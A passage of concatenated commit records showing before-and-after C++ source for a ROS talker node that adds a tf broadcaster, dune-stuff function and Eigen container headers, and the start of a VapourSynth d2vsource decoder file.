* The advertise() function is how you tell ROS that you want to\n * publish on a given topic name. This invokes a call to the ROS\n * master node, which keeps a registry of who is publishing and who\n * is subscribing. After this advertise() call is made, the master\n * node will notify anyone who is trying to subscribe to this topic name,\n * and they will in turn negotiate a peer-to-peer connection with this\n * node. advertise() returns a Publisher object which allows you to\n * publish messages on that topic through a call to publish(). Once\n * all copies of the returned Publisher object are destroyed, the topic\n * will be automatically unadvertised.\n *\n * The second parameter to advertise() is the size of the message queue\n * used for publishing messages. If messages are published more quickly\n * than we can send them, the number here specifies how many messages to\n * buffer up before throwing some away.\n *\/\n ros::Publisher chatter_pub = n.advertise<std_msgs::String>(\"chatter\", 1000);\n\n ros::Rate loop_rate(10);\n\n \/**\n * A count of how many messages we have sent. This is used to create\n * a unique string for each message.\n *\/\n int year = 2017;\n while (ros::ok()) {\n \/**\n * This is a message object. You stuff it with data, and then publish it.\n *\/\n std_msgs::String msg;\n\n std::stringstream ss;\n ss << \"Welcome Class ENPM808X of \" << year;\n msg.data = ss.str();\n\n ROS_INFO(\"%s\", msg.data.c_str());\n\n \/**\n * The publish() function is how you send messages. The parameter\n * is the message object. The type of this object must agree with the type\n * given as a template parameter to the advertise<>() call, as was done\n * in the constructor above.\n *\/\n chatter_pub.publish(msg);\n\n ros::spinOnce();\n\n loop_rate.sleep();\n ++year;\n }\n\n\n return 0;\n}\n<commit_msg>Modifying Talker node to broadcast a tf frame<commit_after>\/* Copyright 2017 Christian *\/\n#include <tf\/transform_broadcaster.h>\n#include <sstream>\n#include \"ros\/ros.h\"\n#include \"std_msgs\/String.h\"\n\n\n\/**\n * This tutorial has been modified to broadcast tf frames over the ROS system.\n *\/\nint main(int argc, char **argv) {\n \/**\n * The ros::init() function needs to see argc and argv so that it can perform\n * any ROS arguments and name remapping that were provided at the command line.\n * For programmatic remappings you can use a different version of init() which takes\n * remappings directly, but for most command-line programs, passing argc and argv is\n * the easiest way to do it. The third argument to init() is the name of the node.\n *\n * You must call one of the versions of ros::init() before using any other\n * part of the ROS system.\n *\/\n ros::init(argc, argv, \"talker\");\n\n \/**\n * NodeHandle is the main access point to communications with the ROS system.\n * The first NodeHandle constructed will fully initialize this node, and the last\n * NodeHandle destructed will close down the node.\n *\/\n ros::NodeHandle n;\n\n \/**\n * The advertise() function is how you tell ROS that you want to\n * publish on a given topic name. This invokes a call to the ROS\n * master node, which keeps a registry of who is publishing and who\n * is subscribing. After this advertise() call is made, the master\n * node will notify anyone who is trying to subscribe to this topic name,\n * and they will in turn negotiate a peer-to-peer connection with this\n * node. advertise() returns a Publisher object which allows you to\n * publish messages on that topic through a call to publish(). Once\n * all copies of the returned Publisher object are destroyed, the topic\n * will be automatically unadvertised.\n *\n * The second parameter to advertise() is the size of the message queue\n * used for publishing messages. If messages are published more quickly\n * than we can send them, the number here specifies how many messages to\n * buffer up before throwing some away.\n *\/\n ros::Publisher chatter_pub = n.advertise<std_msgs::String>(\"chatter\", 1000);\n\n \/**\n * loop_rate is an object that defines that frequency in Hz at which the while loop\n * will work\n *\/\n ros::Rate loop_rate(10);\n\n \/**\n * tfBroadcaster is an object that will be used to broadcast the trasnform\n *\/\n tf::TransformBroadcaster tfBroadcaster;\n\n \/**\n * A count of how many messages we have sent. This is used to create\n * a unique string for each message.\n *\/\n int year = 2017;\n\n while (ros::ok()) {\n \/**\n * This is a message object. You stuff it with data, and then publish it.\n *\/\n std_msgs::String msg;\n\n std::stringstream ss;\n ss << \"Welcome Class ENPM808X of \" << year;\n msg.data = ss.str();\n\n ROS_INFO(\"%s\", msg.data.c_str());\n\n \/**\n * The publish() function is how you send messages. The parameter\n * is the message object. The type of this object must agree with the type\n * given as a template parameter to the advertise<>() call, as was done\n * in the constructor above.\n *\/\n chatter_pub.publish(msg);\n\n \/**\n * The transform object will contain the rotation and translation parameters\n *\/\n tf::Transform transform;\n\n \/**\n * Setting the world frame reference in the transform vector x = 0.2 ,y = 0, z = 0.3\n *\/\n transform.setOrigin(tf::Vector3(0.2, 0.0, 0.3));\n\n \/**\n * Quaternion object used to define rotation\n *\/\n tf::Quaternion tfQuatrn;\n\n \/**\n * Setting rotation to be only in the z plane (180 turn around Z axis)\n *\/\n tfQuatrn.setRPY(0, 0, 1);\n\n \/**\n * Embedding translation and rotation data into transform object\n *\/\n transform.setRotation(tfQuatrn);\n\n \/**\n * Broadcasting the transform using 4 parameters:\n * transform contains translation and rotation matrix\n * Time::now() contains the time stamp of the system\n * world parent frame name\n * talk child fram name\n *\/\n tfBroadcaster.sendTransform(tf::StampedTransform(transform, ros::Time::now(), \"world\", \"talk\"));\n\n ros::spinOnce();\n\n loop_rate.sleep();\n }\n\n\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ This file is part of the dune-stuff project:\n\/\/ https:\/\/github.com\/wwu-numerik\/dune-stuff\n\/\/ Copyright holders: Rene Milk, Felix Schindler\n\/\/ License: BSD 2-Clause License (http:\/\/opensource.org\/licenses\/BSD-2-Clause)\n\/\/\n\/\/ Contributors: Kirsten Weber\n\n#ifndef DUNE_STUFF_FUNCTIONS_CONSTANT_HH\n#define DUNE_STUFF_FUNCTIONS_CONSTANT_HH\n\n#include <memory>\n\n#include <dune\/stuff\/common\/configuration.hh>\n\n#include \"interfaces.hh\"\n\nnamespace Dune {\nnamespace Stuff {\nnamespace Functions {\nnamespace internal {\n\n\ntemplate< class K, int dim >\nstruct UnitMatrix\n{\n typedef FieldMatrix< K, dim, dim > type;\n\n static type value()\n {\n type ret(0);\n for (size_t dd = 0; dd < dim; ++dd)\n ret[dd][dd] = 1;\n return ret;\n }\n}; \/\/ struct UnitMatrix\n\n\ntemplate< class K >\nstruct UnitMatrix< K, 1 >\n{\n typedef FieldVector< K, 1 > type;\n\n static type value()\n {\n return type(1);\n }\n}; \/\/ struct UnitMatrix\n\n\ntemplate< class K, int dim >\ntypename UnitMatrix< K, dim >::type unit_matrix()\n{\n return UnitMatrix< K, dim >::value();\n}\n\n\n} \/\/ namespace internal\n\n\ntemplate< class EntityImp, class DomainFieldImp, size_t domainDim, class RangeFieldImp, size_t rangeDim, size_t rangeDimCols = 1 >\nclass Constant\n : public GlobalFunctionInterface< EntityImp, DomainFieldImp, domainDim, RangeFieldImp, rangeDim, rangeDimCols>\n{\n typedef GlobalFunctionInterface< EntityImp, DomainFieldImp, domainDim, RangeFieldImp, rangeDim, rangeDimCols >\n BaseType;\n typedef Constant < EntityImp, DomainFieldImp, domainDim, RangeFieldImp, rangeDim, rangeDimCols > ThisType;\n\n template< class R, size_t r, size_t rC >\n struct Get{ static std::string value_str()\n {\n std::string str = \"[\";\n for (size_t rr = 0; rr < r; ++rr) {\n if (rr > 0)\n str += \"; \";\n for (size_t cc = 0; cc < rC; ++cc) {\n if (cc > 0)\n str += \" \";\n if (cc == rr)\n str += \"1\";\n else\n str += \"0\";\n }\n }\n str += \"]\";\n return str;\n } };\n\n template< class R, int rC >\n struct Get< R, 1, rC >{ static std::string value_str()\n {\n std::string str = \"[\";\n for (size_t cc = 0; cc < rC; ++cc) {\n if (cc > 0)\n str += \" \";\n str += \"1\";\n }\n str += \"]\";\n return str;\n } };\n\n template< class R, int r >\n struct Get< R, r, 1 >{ static std::string value_str()\n {\n return Get< R, 1, r >::value_str();\n } };\n\n template< class R >\n struct Get< R, 1, 1 >{ static std::string value_str()\n {\n return \"1\";\n } };\n\npublic:\n typedef typename BaseType::DomainType DomainType;\n typedef typename BaseType::RangeType RangeType;\n typedef typename BaseType::JacobianRangeType JacobianRangeType;\n\n using typename BaseType::LocalfunctionType;\n\n static const bool available = true;\n\n static std::string static_id()\n {\n return BaseType::static_id() + \".constant\";\n }\n\n static Common::Configuration default_config(const std::string sub_name = \"\")\n {\n Common::Configuration config;\n config[\"value\"] = Get< RangeFieldImp, rangeDim, rangeDimCols >::value_str();\n config[\"name\"] = static_id();\n if (sub_name.empty())\n return config;\n else {\n Common::Configuration tmp;\n tmp.add(config, sub_name);\n return tmp;\n }\n } \/\/ ... default_config(...)\n\n static std::unique_ptr< ThisType > create(const Common::Configuration config = default_config(),\n const std::string sub_name = static_id())\n {\n \/\/ get correct config\n const Common::Configuration cfg = config.has_sub(sub_name) ? config.sub(sub_name) : config;\n const Common::Configuration default_cfg = default_config();\n return Common::make_unique< ThisType >(\n cfg.get(\"value\", default_cfg.get< RangeType >(\"value\")),\n cfg.get(\"name\", default_cfg.get< std::string >(\"name\")));\n } \/\/ ... create(...)\n\n explicit Constant(const RangeType& constant, const std::string name_in = static_id())\n : constant_(constant)\n , name_(name_in)\n {}\n\n explicit Constant(const RangeFieldImp& constant, const std::string name_in = static_id())\n : constant_(constant)\n , name_(name_in)\n {}\n\n Constant(const ThisType& other) = default;\n\n virtual std::string type() const override final\n {\n return BaseType::static_id() + \".constant\";\n }\n\n virtual size_t order() const override final\n {\n return 0;\n }\n\n virtual void evaluate(const DomainType& \/*x*\/, RangeType& ret) const override final\n {\n ret = constant_;\n }\n\n virtual void jacobian(const DomainType& \/*x*\/, JacobianRangeType& ret) const override final\n {\n ret *= 0.0;\n }\n\n virtual std::string name() const override final\n {\n return name_;\n }\n\nprivate:\n const RangeType constant_;\n const std::string name_;\n};\n\n\n} \/\/ namespace Functions\n} \/\/ namespace Stuff\n} \/\/ namespace Dune\n\n#endif \/\/ DUNE_STUFF_FUNCTIONS_CONSTANT_HH\n<commit_msg>[functions.constant] fixed int\/size_t template arguments<commit_after>\/\/ This file is part of the dune-stuff project:\n\/\/ https:\/\/github.com\/wwu-numerik\/dune-stuff\n\/\/ Copyright holders: Rene Milk, Felix Schindler\n\/\/ License: BSD 2-Clause License (http:\/\/opensource.org\/licenses\/BSD-2-Clause)\n\/\/\n\/\/ Contributors: Kirsten Weber\n\n#ifndef DUNE_STUFF_FUNCTIONS_CONSTANT_HH\n#define DUNE_STUFF_FUNCTIONS_CONSTANT_HH\n\n#include <memory>\n\n#include <dune\/stuff\/common\/configuration.hh>\n\n#include \"interfaces.hh\"\n\nnamespace Dune {\nnamespace Stuff {\nnamespace Functions {\nnamespace internal {\n\n\ntemplate< class K, int dim >\nstruct UnitMatrix\n{\n typedef FieldMatrix< K, dim, dim > type;\n\n static type value()\n {\n type ret(0);\n for (size_t dd = 0; dd < dim; ++dd)\n ret[dd][dd] = 1;\n return ret;\n }\n}; \/\/ struct UnitMatrix\n\n\ntemplate< class K >\nstruct UnitMatrix< K, 1 >\n{\n typedef FieldVector< K, 1 > type;\n\n static type value()\n {\n return type(1);\n }\n}; \/\/ struct UnitMatrix\n\n\ntemplate< class K, int dim >\ntypename UnitMatrix< K, dim >::type unit_matrix()\n{\n return UnitMatrix< K, dim >::value();\n}\n\n\n} \/\/ namespace internal\n\n\ntemplate< class EntityImp, class DomainFieldImp, size_t domainDim, class RangeFieldImp, size_t rangeDim, size_t rangeDimCols = 1 >\nclass Constant\n : public GlobalFunctionInterface< EntityImp, DomainFieldImp, domainDim, RangeFieldImp, rangeDim, rangeDimCols>\n{\n typedef GlobalFunctionInterface< EntityImp, DomainFieldImp, domainDim, RangeFieldImp, rangeDim, rangeDimCols >\n BaseType;\n typedef Constant < EntityImp, DomainFieldImp, domainDim, RangeFieldImp, rangeDim, rangeDimCols > ThisType;\n\n template< class R, size_t r, size_t rC >\n struct Get{ static std::string value_str()\n {\n std::string str = \"[\";\n for (size_t rr = 0; rr < r; ++rr) {\n if (rr > 0)\n str += \"; \";\n for (size_t cc = 0; cc < rC; ++cc) {\n if (cc > 0)\n str += \" \";\n if (cc == rr)\n str += \"1\";\n else\n str += \"0\";\n }\n }\n str += \"]\";\n return str;\n } };\n\n template< class R, size_t rC >\n struct Get< R, 1, rC >{ static std::string value_str()\n {\n std::string str = \"[\";\n for (size_t cc = 0; cc < rC; ++cc) {\n if (cc > 0)\n str += \" \";\n str += \"1\";\n }\n str += \"]\";\n return str;\n } };\n\n template< class R, size_t r >\n struct Get< R, r, 1 >{ static std::string value_str()\n {\n return Get< R, 1, r >::value_str();\n } };\n\n template< class R >\n struct Get< R, 1, 1 >{ static std::string value_str()\n {\n return \"1\";\n } };\n\npublic:\n typedef typename BaseType::DomainType DomainType;\n typedef typename BaseType::RangeType RangeType;\n typedef typename BaseType::JacobianRangeType JacobianRangeType;\n\n using typename BaseType::LocalfunctionType;\n\n static const bool available = true;\n\n static std::string static_id()\n {\n return BaseType::static_id() + \".constant\";\n }\n\n static Common::Configuration default_config(const std::string sub_name = \"\")\n {\n Common::Configuration config;\n config[\"value\"] = Get< RangeFieldImp, rangeDim, rangeDimCols >::value_str();\n config[\"name\"] = static_id();\n config.report();\n if (sub_name.empty())\n return config;\n else {\n Common::Configuration tmp;\n tmp.add(config, sub_name);\n return tmp;\n }\n } \/\/ ... default_config(...)\n\n static std::unique_ptr< ThisType > create(const Common::Configuration config = default_config(),\n const std::string sub_name = static_id())\n {\n \/\/ get correct config\n const Common::Configuration cfg = config.has_sub(sub_name) ? config.sub(sub_name) : config;\n const Common::Configuration default_cfg = default_config();\n return Common::make_unique< ThisType >(\n cfg.get(\"value\", default_cfg.get< RangeType >(\"value\")),\n cfg.get(\"name\", default_cfg.get< std::string >(\"name\")));\n } \/\/ ... create(...)\n\n explicit Constant(const RangeType& constant, const std::string name_in = static_id())\n : constant_(constant)\n , name_(name_in)\n {}\n\n explicit Constant(const RangeFieldImp& constant, const std::string name_in = static_id())\n : constant_(constant)\n , name_(name_in)\n {}\n\n Constant(const ThisType& other) = default;\n\n virtual std::string type() const override final\n {\n return BaseType::static_id() + \".constant\";\n }\n\n virtual size_t order() const override final\n {\n return 0;\n }\n\n virtual void evaluate(const DomainType& \/*x*\/, RangeType& ret) const override final\n {\n ret = constant_;\n }\n\n virtual void jacobian(const DomainType& \/*x*\/, JacobianRangeType& ret) const override final\n {\n ret *= 0.0;\n }\n\n virtual std::string name() const override final\n {\n return name_;\n }\n\nprivate:\n const RangeType constant_;\n const std::string name_;\n};\n\n\n} \/\/ namespace Functions\n} \/\/ namespace Stuff\n} \/\/ namespace Dune\n\n#endif \/\/ DUNE_STUFF_FUNCTIONS_CONSTANT_HH\n<|endoftext|>"} {"text":"<commit_before>#ifndef DUNE_STUFF_LA_CONTAINER_EIGEN_HH\n#define DUNE_STUFF_LA_CONTAINER_EIGEN_HH\n\n#ifdef HAVE_EIGEN\n\n#include <Eigen\/Core>\n#include <Eigen\/Sparse>\n\n#include \"pattern.hh\"\n\nnamespace Dune {\nnamespace Stuff {\nnamespace LA {\nnamespace Container {\nnamespace Eigen {\n\ntemplate< class ElementImp = double >\nclass SparseMatrix\n : ::Eigen::SparseMatrix< ElementImp, ::Eigen::RowMajor >\n{\npublic:\n typedef ElementImp ElementType;\n\n typedef ::Eigen::SparseMatrix< ElementType, ::Eigen::RowMajor > BaseType;\n\n typedef SparseMatrix< ElementType > ThisType;\n\n typedef typename BaseType::Index size_type;\n\n SparseMatrix(const size_type _rows, const size_type _cols)\n : BaseType(_rows, _cols)\n {}\n\n SparseMatrix(const size_type _rows, const size_type _cols,\n const Dune::Stuff::LA::Container::Pattern::Default& _pattern)\n : BaseType(_rows, _cols)\n {\n assert(size_type(_pattern.rows()) == _rows && \"Given pattern too short!\");\n typedef Dune::Stuff::LA::Container::Pattern::Default PatternType;\n typedef PatternType::ColumnsType ColumnsType;\n for (size_type row = 0; row < size_type(_pattern.rows()); ++row) {\n BaseType::startVec(row);\n const ColumnsType& columns = _pattern.columns(row);\n for (typename ColumnsType::const_iterator columnIt = columns.begin(); columnIt != columns.end(); ++columnIt) {\n const size_type column = *columnIt;\n BaseType::insertBackByOuterInner(row, column);\n }\n \/\/ create diagonal entry (insertBackByOuterInner() can not handle empty rows)\n if (columns.size() == 0)\n BaseType::insertBackByOuterInner(row, row);\n }\n BaseType::finalize();\n BaseType::makeCompressed();\n BaseType::setZero();\n } \/\/ SparseMatrix(...)\n\n SparseMatrix(const size_type _rows, const size_type _cols, const size_type _nonZerosPerRow)\n : BaseType(_rows, _cols)\n {\n BaseType::reserve(_nonZerosPerRow);\n BaseType::setZero();\n }\n\n void reserve(const size_type _nonZerosPerRow)\n {\n BaseType::reserve(_nonZerosPerRow);\n BaseType::setZero();\n }\n\n size_type rows() const\n {\n return BaseType::rows();\n }\n\n size_type cols() const\n {\n return BaseType::cols();\n }\n\n void add(const size_type i, const size_type j, const ElementType& val)\n {\n BaseType::coeffRef(i, j) += val;\n }\n\n void set(const size_type i, const size_type j, const ElementType& val)\n {\n BaseType::coeffRef(i, j) = val;\n }\n\n const ElementType get(const size_type i, const size_type j) const\n {\n return BaseType::coeff(i, j);\n }\n\n BaseType& base()\n {\n return *this;\n }\n\n const BaseType& base() const\n {\n return *this;\n }\n}; \/\/ class SparseMatrix\n\n\ntemplate< class ElementImp = double >\nclass DenseMatrix\n : ::Eigen::Matrix< ElementImp, ::Eigen::Dynamic, ::Eigen::Dynamic >\n{\npublic:\n typedef ElementImp ElementType;\n\n typedef ::Eigen::Matrix< ElementType, ::Eigen::Dynamic, ::Eigen::Dynamic > BaseType;\n\n typedef DenseMatrix< ElementType > ThisType;\n\n typedef typename BaseType::Index size_type;\n\n DenseMatrix(const size_type _rows, const size_type _cols)\n : BaseType(_rows, _cols)\n {\n BaseType::setZero();\n }\n\n DenseMatrix(const size_type _rows, const size_type _cols,\n const Dune::Stuff::LA::Container::Pattern::Default&)\n : BaseType(_rows, _cols)\n {\n BaseType::setZero();\n } \/\/ SparseMatrix(...)\n\n DenseMatrix(const size_type _rows, const size_type _cols, const size_type)\n : BaseType(_rows, _cols)\n {\n BaseType::setZero();\n }\n\n void reserve(const size_type)\n {\n BaseType::setZero();\n }\n\n size_type rows() const\n {\n return BaseType::rows();\n }\n\n size_type cols() const\n {\n return BaseType::cols();\n }\n\n void add(const size_type i, const size_type j, const ElementType& val)\n {\n BaseType::operator()(i, j) += val;\n }\n\n void set(const size_type i, const size_type j, const ElementType& val)\n {\n BaseType::operator()(i, j) = val;\n }\n\n const ElementType get(const size_type i, const size_type j) const\n {\n return BaseType::operator()(i, j);\n }\n\n BaseType& base()\n {\n return *this;\n }\n\n const BaseType& base() const\n {\n return *this;\n }\n}; \/\/ class DenseMatrix\n\n\ntemplate< class ElementImp = double>\nclass DenseVector\n : public ::Eigen::Matrix< ElementImp, ::Eigen::Dynamic, 1 >\n{\npublic:\n typedef ElementImp ElementType;\n\n typedef typename ::Eigen::Matrix< ElementType, ::Eigen::Dynamic, 1 > BaseType;\n\n typedef typename BaseType::Index size_type;\n\n DenseVector(const size_type _size)\n : BaseType(_size)\n {\n BaseType::setZero();\n }\n\n size_type size() const\n {\n return BaseType::size();\n }\n\n void add(const size_type i, const ElementType& val)\n {\n BaseType::operator()(i) += val;\n }\n\n void set(const size_type i, const ElementType& val)\n {\n BaseType::operator()(i) = val;\n }\n\n const ElementType get(const size_type i) const\n {\n return BaseType::operator()(i);\n }\n\n const ElementType& operator[](const size_type i) const\n {\n return BaseType::coeff(i);\n }\n\n ElementType& operator[](const size_type i)\n {\n return BaseType::coeffRef(i);\n }\n}; \/\/ class DenseVector\n\n} \/\/ namespace Container\n} \/\/ namespace Eigen\n} \/\/ namespace LA\n} \/\/ namespace Stuff\n} \/\/ namespace Dune\n\n#endif \/\/ HAVE_EIGEN\n\n#endif \/\/ DUNE_STUFF_LA_CONTAINER_EIGEN_HH\n<commit_msg>[la.container.eigen] fixed eigen guard<commit_after>#ifndef DUNE_STUFF_LA_CONTAINER_EIGEN_HH\n#define DUNE_STUFF_LA_CONTAINER_EIGEN_HH\n\n#if HAVE_EIGEN\n\n#include <Eigen\/Core>\n#include <Eigen\/Sparse>\n\n#include \"pattern.hh\"\n\nnamespace Dune {\nnamespace Stuff {\nnamespace LA {\nnamespace Container {\nnamespace Eigen {\n\ntemplate< class ElementImp = double >\nclass SparseMatrix\n : ::Eigen::SparseMatrix< ElementImp, ::Eigen::RowMajor >\n{\npublic:\n typedef ElementImp ElementType;\n\n typedef ::Eigen::SparseMatrix< ElementType, ::Eigen::RowMajor > BaseType;\n\n typedef SparseMatrix< ElementType > ThisType;\n\n typedef typename BaseType::Index size_type;\n\n SparseMatrix(const size_type _rows, const size_type _cols)\n : BaseType(_rows, _cols)\n {}\n\n SparseMatrix(const size_type _rows, const size_type _cols,\n const Dune::Stuff::LA::Container::Pattern::Default& _pattern)\n : BaseType(_rows, _cols)\n {\n assert(size_type(_pattern.rows()) == _rows && \"Given pattern too short!\");\n typedef Dune::Stuff::LA::Container::Pattern::Default PatternType;\n typedef PatternType::ColumnsType ColumnsType;\n for (size_type row = 0; row < size_type(_pattern.rows()); ++row) {\n BaseType::startVec(row);\n const ColumnsType& columns = _pattern.columns(row);\n for (typename ColumnsType::const_iterator columnIt = columns.begin(); columnIt != columns.end(); ++columnIt) {\n const size_type column = *columnIt;\n BaseType::insertBackByOuterInner(row, column);\n }\n \/\/ create diagonal entry (insertBackByOuterInner() can not handle empty rows)\n if (columns.size() == 0)\n BaseType::insertBackByOuterInner(row, row);\n }\n BaseType::finalize();\n BaseType::makeCompressed();\n BaseType::setZero();\n } \/\/ SparseMatrix(...)\n\n SparseMatrix(const size_type _rows, const size_type _cols, const size_type _nonZerosPerRow)\n : BaseType(_rows, _cols)\n {\n BaseType::reserve(_nonZerosPerRow);\n BaseType::setZero();\n }\n\n void reserve(const size_type _nonZerosPerRow)\n {\n BaseType::reserve(_nonZerosPerRow);\n BaseType::setZero();\n }\n\n size_type rows() const\n {\n return BaseType::rows();\n }\n\n size_type cols() const\n {\n return BaseType::cols();\n }\n\n void add(const size_type i, const size_type j, const ElementType& val)\n {\n BaseType::coeffRef(i, j) += val;\n }\n\n void set(const size_type i, const size_type j, const ElementType& val)\n {\n BaseType::coeffRef(i, j) = val;\n }\n\n const ElementType get(const size_type i, const size_type j) const\n {\n return BaseType::coeff(i, j);\n }\n\n BaseType& base()\n {\n return *this;\n }\n\n const BaseType& base() const\n {\n return *this;\n }\n}; \/\/ class SparseMatrix\n\n\ntemplate< class ElementImp = double >\nclass DenseMatrix\n : ::Eigen::Matrix< ElementImp, ::Eigen::Dynamic, ::Eigen::Dynamic >\n{\npublic:\n typedef ElementImp ElementType;\n\n typedef ::Eigen::Matrix< ElementType, ::Eigen::Dynamic, ::Eigen::Dynamic > BaseType;\n\n typedef DenseMatrix< ElementType > ThisType;\n\n typedef typename BaseType::Index size_type;\n\n DenseMatrix(const size_type _rows, const size_type _cols)\n : BaseType(_rows, _cols)\n {\n BaseType::setZero();\n }\n\n DenseMatrix(const size_type _rows, const size_type _cols,\n const Dune::Stuff::LA::Container::Pattern::Default&)\n : BaseType(_rows, _cols)\n {\n BaseType::setZero();\n } \/\/ SparseMatrix(...)\n\n DenseMatrix(const size_type _rows, const size_type _cols, const size_type)\n : BaseType(_rows, _cols)\n {\n BaseType::setZero();\n }\n\n void reserve(const size_type)\n {\n BaseType::setZero();\n }\n\n size_type rows() const\n {\n return BaseType::rows();\n }\n\n size_type cols() const\n {\n return BaseType::cols();\n }\n\n void add(const size_type i, const size_type j, const ElementType& val)\n {\n BaseType::operator()(i, j) += val;\n }\n\n void set(const size_type i, const size_type j, const ElementType& val)\n {\n BaseType::operator()(i, j) = val;\n }\n\n const ElementType get(const size_type i, const size_type j) const\n {\n return BaseType::operator()(i, j);\n }\n\n BaseType& base()\n {\n return *this;\n }\n\n const BaseType& base() const\n {\n return *this;\n }\n}; \/\/ class DenseMatrix\n\n\ntemplate< class ElementImp = double>\nclass DenseVector\n : public ::Eigen::Matrix< ElementImp, ::Eigen::Dynamic, 1 >\n{\npublic:\n typedef ElementImp ElementType;\n\n typedef typename ::Eigen::Matrix< ElementType, ::Eigen::Dynamic, 1 > BaseType;\n\n typedef typename BaseType::Index size_type;\n\n DenseVector(const size_type _size)\n : BaseType(_size)\n {\n BaseType::setZero();\n }\n\n size_type size() const\n {\n return BaseType::size();\n }\n\n void add(const size_type i, const ElementType& val)\n {\n BaseType::operator()(i) += val;\n }\n\n void set(const size_type i, const ElementType& val)\n {\n BaseType::operator()(i) = val;\n }\n\n const ElementType get(const size_type i) const\n {\n return BaseType::operator()(i);\n }\n\n const ElementType& operator[](const size_type i) const\n {\n return BaseType::coeff(i);\n }\n\n ElementType& operator[](const size_type i)\n {\n return BaseType::coeffRef(i);\n }\n}; \/\/ class DenseVector\n\n} \/\/ namespace Container\n} \/\/ namespace Eigen\n} \/\/ namespace LA\n} \/\/ namespace Stuff\n} \/\/ namespace Dune\n\n#endif \/\/ HAVE_EIGEN\n\n#endif \/\/ DUNE_STUFF_LA_CONTAINER_EIGEN_HH\n<|endoftext|>"} {"text":"<commit_before>\/*\n * VapourSynth D2V Plugin\n *\n * Copyright (c) 2012 Derek Buitenhuis\n *\n * This file is part of d2vsource.\n *\n * d2vsource is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * d2vsource is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with d2vsource; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n *\/\n\n#include <iostream>\n#include <string>\n#include <vector>\n\nextern \"C\" {\n#include <libavformat\/avformat.h>\n#include <libavcodec\/avcodec.h>\n#include <stdio.h>\n}\n\n#include \"compat.hpp\"\n#include \"d2v.hpp\"\n#include \"decode.hpp\"\n#include \"gop.hpp\"\n\nusing namespace std;\n\n\/*\n * AVIO seek function to handle GOP offsets and multi-file support\n * in libavformat without it knowing about it.\n *\/\nstatic int64_t file_seek(void *opaque, int64_t offset, int whence)\n{\n decodecontext *ctx = (decodecontext *) opaque;\n\n switch(whence) {\n case SEEK_SET: {\n \/*\n * This mutli-file seek is likely very broken, but I don't\n * really care much, since it is only used in avformat_find_stream_info,\n * which does its job fine as-is.\n *\/\n int64_t real_offset = offset + ctx->orig_file_offset;\n unsigned int i;\n\n for(i = ctx->orig_file; i < ctx->cur_file; i++)\n real_offset -= ctx->file_sizes[i];\n\n while(real_offset > ctx->file_sizes[ctx->cur_file] && ctx->cur_file != ctx->files.size() - 1) {\n real_offset -= ctx->file_sizes[ctx->cur_file];\n ctx->cur_file++;\n }\n\n while(real_offset < 0 && ctx->cur_file) {\n ctx->cur_file--;\n real_offset += ctx->file_sizes[ctx->cur_file];\n }\n\n fseeko(ctx->files[ctx->cur_file], real_offset, SEEK_SET);\n\n return offset;\n }\n case AVSEEK_SIZE: {\n \/*\n * Return the total filesize of all files combined,\n * adjusted for GOP offset.\n *\/\n int64_t size = -(ctx->orig_file_offset);\n unsigned int i;\n\n for(i = ctx->orig_file; i < ctx->file_sizes.size(); i++)\n size += ctx->file_sizes[i];\n\n return size;\n }\n default:\n \/* Shouldn't need to support anything else for our use case. *\/\n cout << \"Unsupported seek!\" << endl;\n return -1;\n }\n}\n\n\/*\n * AVIO packet reading function to handle GOP offsets and multi-file support\n * in libavformat without it knowing about it.\n *\/\nstatic int read_packet(void *opaque, uint8_t *buf, int size)\n{\n decodecontext *ctx = (decodecontext *) opaque;\n int ret;\n\n \/*\n * If we read in less than we got asked for, and we're\n * not on the last file, then start reading seamlessly\n * on the next file.\n *\/\n ret = fread(buf, 1, size, ctx->files[ctx->cur_file]);\n if (ret < size && ctx->cur_file != ctx->files.size() - 1) {\n ctx->cur_file++;\n fseeko(ctx->files[ctx->cur_file], 0, SEEK_SET);\n fread(buf + ret, 1, size - ret, ctx->files[ctx->cur_file]);\n } else {\n return ret;\n }\n\n return size;\n}\n\n\/* Conditionally free all memebers of decodecontext. *\/\nvoid decodefreep(decodecontext **ctx)\n{\n decodecontext *lctx = *ctx;\n unsigned int i;\n\n if (!lctx)\n return;\n\n av_freep(&lctx->in);\n av_free_packet(&lctx->inpkt);\n\n if (lctx->fctx) {\n if (lctx->fctx->pb)\n av_freep(&lctx->fctx->pb);\n\n avformat_close_input(&lctx->fctx);\n }\n\n for(i = 0; i < lctx->files.size(); i++)\n fclose(lctx->files[i]);\n\n lctx->files.clear();\n lctx->file_sizes.clear();\n\n if (lctx->avctx) {\n avcodec_close(lctx->avctx);\n av_freep(&lctx->avctx);\n }\n\n delete lctx->fakename;\n delete lctx;\n\n *ctx = NULL;\n}\n\n\/* Initialize everything we can with regards to decoding *\/\ndecodecontext *decodeinit(d2vcontext *dctx, string& err)\n{\n decodecontext *ret;\n int i, av_ret;\n\n ret = new decodecontext;\n\n \/* Zero the context to aid in conditional freeing later. *\/\n memset(ret, 0, sizeof(*ret));\n\n \/* Holds our \"filename\" we pass to libavformat. *\/\n ret->fakename = new string;\n\n \/* Set our stream index to -1 (uninitialized). *\/\n ret->stream_index = -1;\n\n \/* Open each file and stash its size. *\/\n for(i = 0; i < dctx->num_files; i++) {\n FILE *in;\n int64_t size;\n\n in = fopen(dctx->files[i].c_str(), \"rb\");\n if (!in) {\n err = \"Cannot open file: \";\n err += dctx->files[i];\n goto fail;\n }\n\n fseeko(in, 0, SEEK_END);\n size = ftello(in);\n fseeko(in, 0, SEEK_SET);\n\n ret->file_sizes.push_back(size);\n ret->files.push_back(in);\n }\n\n \/*\n * Register all of our demuxers, parsers, and decoders.\n * Ideally, to create a smaller binary, we only enable the\n * following:\n *\n * Demuxers: mpegvideo, mpegps, mpegts.\n * Parsers: mpegvideo, mpegaudio.\n * Decoders: mpeg1video, mpeg2video.\n *\/\n avcodec_register_all();\n av_register_all();\n\n \/* Set the correct decoder. *\/\n if (dctx->mpeg_type == 1) {\n ret->incodec = 